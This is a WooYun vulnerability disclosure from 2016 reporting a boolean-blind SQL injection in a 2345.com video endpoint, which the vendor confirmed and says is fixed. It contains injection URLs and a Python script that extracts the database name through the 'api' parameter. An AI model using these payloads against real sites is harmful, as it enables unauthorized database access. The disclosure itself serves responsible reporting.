当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198798

漏洞标题:2345网址导航某站存在SQL注入(附验证脚本)

相关厂商:2345网址导航

漏洞作者: Vinc

提交时间:2016-04-21 11:07

修复时间:2016-06-05 14:50

公开时间:2016-06-05 14:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

- = !

详细说明:

布尔盲注,访问:
http://v.2345.com/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%201=3--%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&title=%BB%B6%C0%D6%CF%B2%BE%E7%C8%CB&total=14&year=2015
提示null
访问:
http://v.2345.com/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%201=1--%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&title=%BB%B6%C0%D6%CF%B2%BE%E7%C8%CB&total=14&year=2015
500错误

123.png

漏洞证明:

database()长度为13
#encoding=utf-8
import httplib
import time
import string
import sys
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())
database = ''
for i in range(1,14,1):
for payload in payloads:
conn = httplib.HTTPConnection('v.2345.com:80', timeout=20)
conn.request(method='GET', url="/moviecore/server/variety/index.php?act=ajaxMoreEpisode&api=-1%27%20or%20ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+"--%20&ctl=newDetail&id=18363&month=0&nowTotal=14&time=1461014443020&timeStamp=1461014443020&total=14&year=2015")
status = conn.getresponse().status
if status == 500:
database += payload
print '\r[scan in progress]' ,database
time.sleep(0.01)
break
conn.close()
print ''
print 'database() is', database

123.png


修复方案:

.

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2016-04-21 14:42

厂商回复:

已修复,感谢您对2345的关注。。。

最新状态:

暂无